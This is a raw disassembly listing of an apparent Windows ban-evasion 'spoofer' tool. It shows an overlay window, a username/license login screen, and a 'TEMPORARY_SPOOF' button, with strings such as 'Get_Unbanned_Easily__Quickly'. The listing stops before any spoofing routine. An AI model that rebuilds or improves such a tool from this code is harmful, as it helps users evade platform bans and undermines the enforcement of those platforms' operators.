mov qword [0x140188748], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400d0ca0]
movdqu xmmword [rbp + 0x230], xmm0
lea rdx, [rbp + 0x230]
mov rcx, qword [0x140188748]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [0x140188750], xmm0
lea rdx, [0x140188750]
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x124], r13
mov qword [rbp + 0x138], 2
mov qword [rbp + 0x150], 2
mov qword [rbp + 0x110], r13
mov dword [rbp + 0x120], Ordinal_32
mov dword [rbp + 0x118], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x11c], edi
mov dword [rbp + 0x134], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x140188748]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x12c], 1
mov qword [rbp + 0x148], 1
mov dword [rbp + 0x240], 0xb000
mov dword [rbp + 0x244], 0xa000
lea rbx, [0x1401888e0]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x210]
mov qword [rsp + 0x50], rax
lea rsi, [0x1401888c0]
mov qword [rsp + 0x48], rsi
lea r14, [0x1401888b8]
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x110]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, edi
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140045698
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x210]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x110]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140045723
call fcn.140047b80
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, edi
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400b44e0
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [0x1401888b8]
mov rax, qword [rcx]
lea r9, [rbp + 0x100]
lea r8, [0x1400d0a08]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x1401888c0]
mov rax, qword [rcx]
lea r9, [0x1401888b0]
xor r8d, r8d
mov rdx, qword [rbp + 0x100]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x100]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rsi, qword [0x140188720]
mov rdx, qword [0x140188710]
mov ecx, 0x6280
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, rax
mov r8, qword [0x140188720]
test r8, r8
je 0x140045811
mov r10d, dword [r8 + 0x3f58]
movsx rax, word [r8 + 0x60f0]
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x140045806
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r13d
inc word [rdx + 4]
inc dword [r8 + 0x60e8]
mov qword [rbp + 0x200], r9
lea rax, [rbp - 0x40]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x38], r9
test r9, r9
je 0x140045835
xor edx, edx
mov rcx, r9
call fcn.1400020e0
jmp 0x140045838
mov rax, r13
mov qword [0x140188720], rax
call fcn.1400066d0
test rsi, rsi
je 0x140045852
mov qword [0x140188720], rsi
jmp 0x140045859
mov rsi, qword [0x140188720]
or dword [rsi + 8], 3
mov qword [rsi + 0x20], r13
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x218], xmm1
mov qword [rbp + 0x228], r13
xorps xmm9, xmm9
movss xmm1, dword [0x1400d0ad0]
unpcklps xmm0, xmm1
movsd qword [0x140188870], xmm0
movss dword [0x140188878], xmm9
mov ebx, r13d
mov dword [rsp + 0x68], ebx
mov qword [rbp + 0x1f0], rbx
mov dword [rbp + 0x1f8], ebx
mov qword [rbp + 0x200], rbx
mov dword [rbp + 0x208], ebx
mov edi, r13d
mov r14d, r13d
movsd xmm8, qword [rbp + 0x1f0]
mov r15d, r13d
movsd xmm10, qword [rbp + 0x200]
movss xmm15, dword [0x1400d0b88]
movss xmm14, dword [0x1400d0b9c]
movss xmm7, dword [0x1400d0c68]
movss xmm11, dword [0x1400d0bdc]
movss xmm12, dword [0x1400d0c4c]
movsd xmm13, qword [0x1400d0b70]
nop word [rax + rax]
mov dword [rbp + 0x130], 0x40a00000
mov dword [rbp + 0x134], 0x41200000
mov qword [rbp + 0x140], r13
mov dword [rbp + 0x138], 0x294
mov dword [rbp + 0x13c], 0x1e0
mov dword [rbp + 0x12c], 0x64646464
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm6, eax
cvtdq2ps xmm6, xmm6
divss xmm6, xmm7
mulss xmm6, dword [0x1400d0bd8]
subss xmm6, xmm11
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm7
mulss xmm0, xmm12
addss xmm0, xmm9
unpcklps xmm0, xmm6
movsd qword [rbp + 0x148], xmm0
mov dword [rbp + 0x150], edi
movsd qword [rbp + 0x110], xmm8
mov dword [rbp + 0x118], r14d
movsd qword [rbp + 0x11c], xmm10
mov dword [rbp + 0x124], r15d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm7
addss xmm0, xmm9
cvtps2pd xmm0, xmm0
movaps xmm1, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
mulss xmm1, xmm14
minss xmm1, xmm14
maxss xmm1, xmm15
movss dword [rbp + 0x128], xmm1
mov rdx, qword [rbp + 0x220]
cmp rdx, qword [rbp + 0x228]
je 0x140045a3b
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x120]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rdx + 0x30], xmm1
mov dword [rdx + 0x40], edi
add qword [rbp + 0x220], 0x44
jmp 0x140045a4e
lea r8, [rbp + 0x110]
lea rcx, [rbp + 0x218]
call fcn.14003c7d0
inc ebx
cmp ebx, 0x32
jb 0x140045910
xor ecx, ecx
call fcn.140025410
mov rcx, qword [0x140188748]
call fcn.14002f630
call fcn.14002f460
mov rbx, qword [0x140188720]
mov dword [rbp + 0x248], 2
movups xmm0, xmmword [rbx + 0x39ec]
movups xmmword [rbp + 0x24c], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0x248]
call fcn.14001c870
cmp dword [rbx + 0x4a74], 2
je 0x140045aba
movups xmm0, xmmword [0x140188920]
movups xmmword [rbx + 0x39ec], xmm0
mov rbx, qword [0x140188720]
mov dword [rbp + 0x248], 3
movups xmm0, xmmword [rbx + 0x39fc]
movups xmmword [rbp + 0x24c], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0x248]
call fcn.14001c870
cmp dword [rbx + 0x4a74], 3
je 0x140045b03
movups xmm0, xmmword [0x140188960]
movups xmmword [rbx + 0x39fc], xmm0
mov rax, qword [0x140188720]
mov qword [rax + 0x3914], 0x40a00000
mov qword [rax + 0x38f8], 0x41200000
mov qword [rax + 0x392c], 0x40a00000
mov qword [rax + 0x38f0], r13
xorps xmm2, xmm2
movups xmmword [rbp + 0x110], xmm2
movups xmmword [rbp + 0x120], xmm2
movups xmmword [rbp + 0x150], xmm2
movups xmmword [rbp + 0x160], xmm2
mov byte [rbp + 0x11c], 1
mov dword [rbp + 0x128], 2
mov edi, 1
mov dword [rbp + 0x12c], edi
mov dword [rbp + 0x154], 0x7f7fffff
mov dword [rbp + 0x160], 0x3f800000
mov dword [rbp + 0x164], 0x3f800000
mov ebx, 0xffff
mov word [rbp + 0x168], bx
movaps xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x60], xmm2
movaps xmmword [rbp + 0x70], xmm2
movaps xmm0, xmmword [rbp + 0x150]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0xa0], xmm2
movaps xmmword [rbp + 0xb0], xmm2
movaps xmmword [rbp + 0xc0], xmm2
lea rax, [0x1400ecbd0]
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x48], 0x4d33c
mov dword [rbp + 0x54], 0x41880000
lea rdx, [rbp + 0x40]
mov rcx, qword [rsi + 0x38]
call fcn.140029630
mov qword [0x140188738], rax
xorps xmm2, xmm2
movups xmmword [rbp + 0x110], xmm2
movups xmmword [rbp + 0x120], xmm2
movups xmmword [rbp + 0x150], xmm2
movups xmmword [rbp + 0x160], xmm2
mov byte [rbp + 0x11c], dil
mov dword [rbp + 0x128], 2
mov dword [rbp + 0x12c], edi
mov dword [rbp + 0x154], 0x7f7fffff
mov dword [rbp + 0x160], 0x3f800000
mov dword [rbp + 0x164], 0x3f800000
mov word [rbp + 0x168], bx
movaps xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x60], xmm2
movaps xmmword [rbp + 0x70], xmm2
movaps xmm0, xmmword [rbp + 0x150]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0xa0], xmm2
movaps xmmword [rbp + 0xb0], xmm2
movaps xmmword [rbp + 0xc0], xmm2
lea rax, [0x140139f10]
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x48], 0x4d4a8
mov dword [rbp + 0x54], 0x41c80000
lea rdx, [rbp + 0x40]
mov rcx, qword [rsi + 0x38]
call fcn.140029630
mov qword [0x140188730], rax
xorps xmm2, xmm2
movups xmmword [rbp + 0x110], xmm2
movups xmmword [rbp + 0x120], xmm2
movups xmmword [rbp + 0x150], xmm2
movups xmmword [rbp + 0x160], xmm2
mov byte [rbp + 0x11c], dil
mov dword [rbp + 0x128], 2
mov dword [rbp + 0x12c], edi
mov dword [rbp + 0x154], 0x7f7fffff
mov dword [rbp + 0x160], 0x3f800000
mov dword [rbp + 0x164], 0x3f800000
mov word [rbp + 0x168], bx
movaps xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x60], xmm2
movaps xmmword [rbp + 0x70], xmm2
movaps xmm0, xmmword [rbp + 0x150]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0xa0], xmm2
movaps xmmword [rbp + 0xb0], xmm2
movaps xmmword [rbp + 0xc0], xmm2
lea rax, [0x1400ec5f0]
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x48], 0x5dc
mov dword [rbp + 0x54], 0x41880000
lea rdx, [rbp + 0x40]
mov rcx, qword [rsi + 0x38]
call fcn.140029630
mov qword [0x1401888f8], rax
mov qword [rsp + 0x30], r13
lea rax, [0x140188740]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x2306
lea rdx, [0x1400e2130]
mov rcx, qword [0x1401888c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x140188990]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x95e
lea rdx, [0x1400e4440]
mov rcx, qword [0x1401888c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x140188980]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x14f6
lea rdx, [0x1400eb0f0]
mov rcx, qword [0x1401888c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x140188988]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x5b30
lea rdx, [0x1400e4da0]
mov rcx, qword [0x1401888c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x1401888f0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x81d
lea rdx, [0x1400ea8d0]
mov rcx, qword [0x1401888c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
xor sil, sil
mov r15d, dword [rbp + 0x210]
mov r12d, dword [rbp + 0x210]
movss xmm12, dword [0x1400d0c40]
movss xmm11, dword [0x1400d0bb8]
movss xmm10, dword [0x1400d0bf4]
movss xmm13, dword [0x1400d0bc0]
nop word [rax + rax]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140045f6e
nop dword [rax]
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx esi, sil
cmp dword [rbp + 0x118], 0x12
cmove esi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140045f20
test sil, sil
jne 0x14004762f
mov rax, qword [0x140188720]
test rax, rax
je 0x140045f83
mov rcx, qword [rax + 0x98]
jmp 0x140045f86
mov rcx, r13
cmp qword [rcx + 0x48], 0
jne 0x140045f92
call fcn.14002ee00
call fcn.140030040
call fcn.140008b80
xor edx, edx
mov r8d, Ordinal_60
lea rcx, str.Main
call fcn.14000e780
mov dword [rbp + 0x100], 0x44250000
mov dword [rbp + 0x104], 0x43f00000
xor r8d, r8d
lea rdx, [rbp + 0x100]
mov rcx, qword [0x140188720]
mov rcx, qword [rcx + 0x4000]
call fcn.1400114c0
lea rdx, [0x140188750]
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140188720]
mov rcx, qword [rax + 0x4000]
movss xmm2, dword [rcx + 0x28]
ucomiss xmm2, xmm9
jp 0x14004601d
jne 0x14004601d
movss xmm0, dword [rcx + 0x2c]
ucomiss xmm0, xmm9
jp 0x14004601d
je 0x14004608c
movd xmm0, dword [0x140188754]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rcx + 0x2c]
cvttss2si r8d, xmm0
movd xmm1, dword [0x140188750]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm2
cvttss2si edx, xmm1
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 0x1e0
mov r9d, 0x294
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp + 0x240], 0
xor r8d, r8d
lea rdx, [rbp + 0x240]
mov rcx, qword [0x140188720]
mov rcx, qword [rcx + 0x4000]
call fcn.140011350
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movd xmm1, dword [0x140188754]
cvtdq2ps xmm1, xmm1
movd xmm0, dword [0x140188750]
cvtdq2ps xmm0, xmm0
movd xmm2, r12d
cvtdq2ps xmm2, xmm2
movd xmm3, r15d
cvtdq2ps xmm3, xmm3
unpcklps xmm0, xmm1
movsd qword [rbp + 0xd0], xmm0
movss dword [rbp + 0xd8], xmm9
unpcklps xmm2, xmm3
movsd qword [rsp + 0x60], xmm2
movss dword [rsp + 0x68], xmm9
lea r8, [rbp + 0xd0]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x218]
call fcn.14003c550
mov rdi, qword [0x140188748]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140046177
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14004616e
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
movdqu xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0xe0], reloc.WS2_32.dll_send
lea rcx, [rbp + 0x1f0]
mov qword [rbp + 0xe8], rcx
mov dword [rbp + 0xf0], reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xe0]
mov rcx, rdi
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov r14, qword [rcx + 0x4000]
movss xmm1, dword [0x1401873b8]
subss xmm1, dword [0x1400d0bc4]
mov byte [r14 + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm2, xmm1
addss xmm0, dword [0x1400d0c20]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
movdqa xmm0, xmmword [0x1400d10b0]
movups xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0x210], 0x3f800000
mov dword [rbp + 0x214], 0x3f800000
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x20], 0x43480000
mov dword [rbp - 0x1c], 0x43480000
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x210]
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x20]
mov rcx, qword [0x140188740]
call fcn.140034760
movss xmm6, dword [r14 + 0x30]
subss xmm6, xmm11
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
mov edi, 1
mov r8d, edi
lea rdx, [0x1400d0118]
lea rcx, [rbp - 0x80]
call fcn.1400486c0
unpcklps xmm6, xmm14
movq rdx, xmm6
lea rcx, [rbp - 0x80]
call fcn.14003e710
test al, al
jne 0x14004790b
movss xmm8, dword [0x1400d0c7c]
cmp dword [0x1401888dc], 0
jne 0x14004657c
movups xmm7, xmmword [0x140188930]
mov rbx, qword [0x140188730]
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
movsd xmm6, qword [rax + 0x30]
mov qword [rsp + 0x30], r13
lea rax, str.Get_Unbanned_Easily__Quickly
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm8
movss xmm3, dword [0x1400d0c6c]
movss xmm2, dword [rcx + 0x3d38]
lea rdx, [rbp - 0x18]
mov rcx, qword [rcx + 0x3d30]
call fcn.14002c530
movss xmm0, dword [rbp - 0x18]
addss xmm0, dword [0x1400d0b4c]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x18], xmm1
movsd qword [rbp + 0x1f0], xmm6
subss xmm6, xmm1
mulss xmm6, dword [0x1400d0b0c]
mov rcx, rbx
call fcn.140011210
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], dil
mov rax, qword [rcx + 0x4000]
mov r8, qword [rax + 0x2a8]
movss dword [rbp + 0x30], xmm7
movaps xmm0, xmm7
shufps xmm0, xmm7, 0x55
movss dword [rbp + 0x34], xmm0
movaps xmm1, xmm7
shufps xmm1, xmm7, 0xaa
movss dword [rbp + 0x38], xmm1
shufps xmm7, xmm7, 0xff
mulss xmm7, dword [rcx + 0x38e8]
movss dword [rbp + 0x3c], xmm7
lea rcx, [rbp + 0x30]
call fcn.140004740
movss dword [rbp - 0x10], xmm6
mov dword [rbp - 0xc], 0x42f00000
test eax, 0xff000000
je 0x14004642d
test rbx, rbx
jne 0x1400463d3
mov rcx, qword [r8 + 0x38]
mov rbx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0xe0], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm9
lea rcx, [0x1400d013d]
mov qword [rsp + 0x38], rcx
lea rcx, str.Get_Unbanned_Easily__Quickly
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rbp - 0x10]
movss xmm2, dword [0x1400d0bb0]
mov rdx, r8
mov rcx, rbx
call fcn.14002c750
call fcn.1400112b0
mov rcx, qword [0x140188738]
call fcn.140011210
mov rax, qword [0x140188720]
movss xmm1, dword [rax + 0x18]
mulss xmm1, xmm15
movss xmm2, dword [0x1400d0c04]
subss xmm2, dword [0x1401873bc]
mulss xmm2, xmm1
addss xmm2, dword [0x1401873bc]
movss dword [0x1401873bc], xmm2
mov dword [rsp + 0x38], r13d
movss xmm7, dword [0x1400d0c38]
movss dword [rsp + 0x30], xmm7
movss dword [rsp + 0x28], xmm2
movss xmm6, dword [0x1400d0bec]
movss dword [rsp + 0x20], xmm6
lea r8, [0x140188898]
lea rdx, [0x1400d0140]
lea rcx, str.Username
call fcn.14003cc60
movss xmm0, dword [0x1401873bc]
addss xmm0, dword [0x1400d0bd4]
mov dword [rsp + 0x38], 0x8000
movss dword [rsp + 0x30], xmm7
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm6
lea rbx, [0x1401888c8]
mov r8, rbx
lea rdx, str.License
lea rcx, str.Password
call fcn.14003cc60
movss xmm2, dword [0x1401873bc]
addss xmm2, dword [0x1400d0bfc]
movss xmm0, dword [0x1400d0bc4]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm7
movaps xmm1, xmm6
lea rcx, str.Login
call fcn.14003ca30
test al, al
je 0x14004657c
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140046545
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.1400486c0
lea rdx, [rbp - 0x60]
lea rcx, [0x140188a10]
call fcn.14005e290
cmp byte [0x140188c40], 0
je 0x14004657c
mov dword [0x1401888dc], edi
jmp 0x140046584
cmp dword [0x1401888dc], edi
jne 0x1400465f8
mov rax, qword [0x140188720]
movss xmm1, dword [rax + 0x18]
mulss xmm1, xmm15
movaps xmm0, xmm10
movss xmm6, dword [0x1401873b8]
subss xmm0, xmm6
mulss xmm0, xmm1
addss xmm6, xmm0
movss dword [0x1401873b8], xmm6
comiss xmm6, dword [0x1400d0bf0]
jb 0x140046600
movss xmm0, dword [0x140188900]
movss xmm1, dword [0x1400d0b54]
comiss xmm1, xmm0
jb 0x1400465ec
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x1400d0b40]
cvtpd2ps xmm0, xmm0
movss dword [0x140188900], xmm0
jmp 0x140046600
mov dword [0x1401888dc], 2
jmp 0x140046600
movss xmm6, dword [0x1401873b8]
comiss xmm6, xmm12
seta cl
cmp dword [0x1401888dc], 2
jne 0x140046b14
mov rax, qword [0x140188720]
movss xmm0, dword [rax + 0x18]
mulss xmm0, xmm15
movss xmm1, dword [0x1400d0c44]
subss xmm1, xmm6
mulss xmm1, xmm0
addss xmm1, xmm6
movss dword [0x1401873b8], xmm1
test cl, cl
je 0x140046e27
cmp dword [0x14018887c], 0
sete r9b
movaps xmm2, xmm10
movaps xmm1, xmm11
mov rcx, qword [0x140188990]
call fcn.14003d130
test al, al
je 0x140046677
mov eax, r13d
mov dword [0x14018887c], eax
jmp 0x14004667d
mov eax, dword [0x14018887c]
cmp eax, edi
sete r9b
movss xmm2, dword [0x1400d0c10]
movaps xmm1, xmm11
mov rcx, qword [0x140188980]
call fcn.14003d130
test al, al
je 0x1400466a9
mov eax, edi
mov dword [0x14018887c], eax
jmp 0x1400466af
mov eax, dword [0x14018887c]
cmp eax, 2
sete r9b
movss xmm2, dword [0x1400d0c2c]
movaps xmm1, xmm11
mov rcx, qword [0x140188988]
call fcn.14003d130
test al, al
je 0x1400466dc
mov dword [0x14018887c], 2
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], dil
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
subss xmm1, xmm11
addss xmm0, xmm15
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400d10b0]
movups xmmword [rbp + 0x1f0], xmm0
mov dword [rbp - 8], 0x3f800000
mov dword [rbp - 4], 0x3f800000
mov qword [rbp], 0
mov dword [rbp + 8], 0x43160000
mov dword [rbp + 0xc], 0x432a0000
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 8]
lea r8, [rbp]
lea rdx, [rbp + 8]
mov rcx, qword [0x140188740]
call fcn.140034760
movss xmm1, dword [r14 + 0x34]
subss xmm1, dword [0x1400d0bd4]
movss xmm0, dword [0x1400d0bcc]
unpcklps xmm0, xmm1
movq rdx, xmm0
call fcn.14003cea0
cmp dword [0x14018887c], 0
jne 0x140046b0c
movaps xmm0, xmm12
movss xmm1, dword [0x1400d0c30]
unpcklps xmm0, xmm1
movq r8, xmm0
movaps xmm1, xmm10
unpcklps xmm1, xmm11
movq rdx, xmm1
call fcn.14003e550
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], dil
mov rax, qword [rcx + 0x4000]
cmp byte [rax + 0xc3], 0
jne 0x140046830
mov qword [rbp + 0x10], 0
movaps xmm1, xmm8
lea rcx, [rbp + 0x10]
call fcn.1400146d0
call fcn.14003eb70
call fcn.14000b7f0
movss xmm2, dword [r14 + 0x2c]
addss xmm2, dword [0x1400d0c34]
movss xmm1, dword [r14 + 0x28]
addss xmm1, xmm10
movss dword [rsp + 0x20], xmm13
movaps xmm3, xmm12
lea rcx, str.TEMPORARY_SPOOF
call fcn.14003ca30
test al, al
je 0x140046b0c
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.Started_Spoofing___Please_wait
lea rcx, [rbp + 0xe0]
call fcn.1400486c0
nop
movaps xmm0, xmm9
unpcklps xmm0, xmm14
movq r8, xmm0
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.14003ea50
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140046901
inc rdx
